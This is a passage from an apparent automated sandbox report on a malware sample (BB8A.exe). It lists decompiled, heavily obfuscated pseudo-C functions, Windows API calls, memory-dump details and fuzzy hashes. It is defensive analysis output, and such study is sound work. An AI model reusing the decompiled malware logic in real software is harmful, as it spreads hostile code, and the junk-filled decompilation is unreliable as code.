				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000B.00000002.776549326.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_jgdhbua.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000B.00000002.776549326.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_jgdhbua.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: BB8A.exe PID: 6816 Parent PID: 3424 BB8A.exeCOMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	16%
Signature Coverage:	0%
Total number of Nodes:	387
Total number of Limit Nodes:	5

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0208003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0208024D

Strings

kernel32.dll, xrefs: 0208008F, 02080095
cess, xrefs: 0208018D

Memory Dump Source

Source File: 0000000C.00000002.808322979.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2080000_BB8A.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 4813d6fbb947531ca2cdd0a605f1f06475a1da202ea37745f144eb539dfb3bbf
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: E4527A75A01229DFDBA4CF58C984BADBBB1BF09304F1480D9E54DAB351DB30AA89DF14

Uniqueness

Uniqueness Score: -1.00%

Function 02080DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02080223,?,?), ref: 02080E02
SetErrorMode.KERNELBASE(00000000,?,?,02080223,?,?), ref: 02080E07

Memory Dump Source

Source File: 0000000C.00000002.808322979.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2080000_BB8A.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 37e51b8472b0fe89cd6ff791baadd57aa521ca7ed4a22b66da06f6d1e798bb83
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 09D0123224522CB7DB412A94DC09BCEBB5C9F05BABF008021FB0DE9581CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 006907A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 006907EE

Memory Dump Source

Source File: 0000000C.00000002.808136356.0000000000690000.00000040.00000001.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_690000_BB8A.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 4ee08088cfa101923e6bc7e81dcd86caeb60dcafb16a35a7a53382c229220928
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 6DF062311017116FEB203AF5988DAAF76EDAF49B75F100528E642959C0DA70F8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 00690465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006904B6

Memory Dump Source

Source File: 0000000C.00000002.808136356.0000000000690000.00000040.00000001.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_690000_BB8A.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 6005d873ae3445d4dcf42bc03c4b8a79213972285644c7b1102f36f4973212e3
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F0113C79A40208EFDB01DF98C985E98BBF5EF08750F058094FA489B362D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.807913506.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_BB8A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
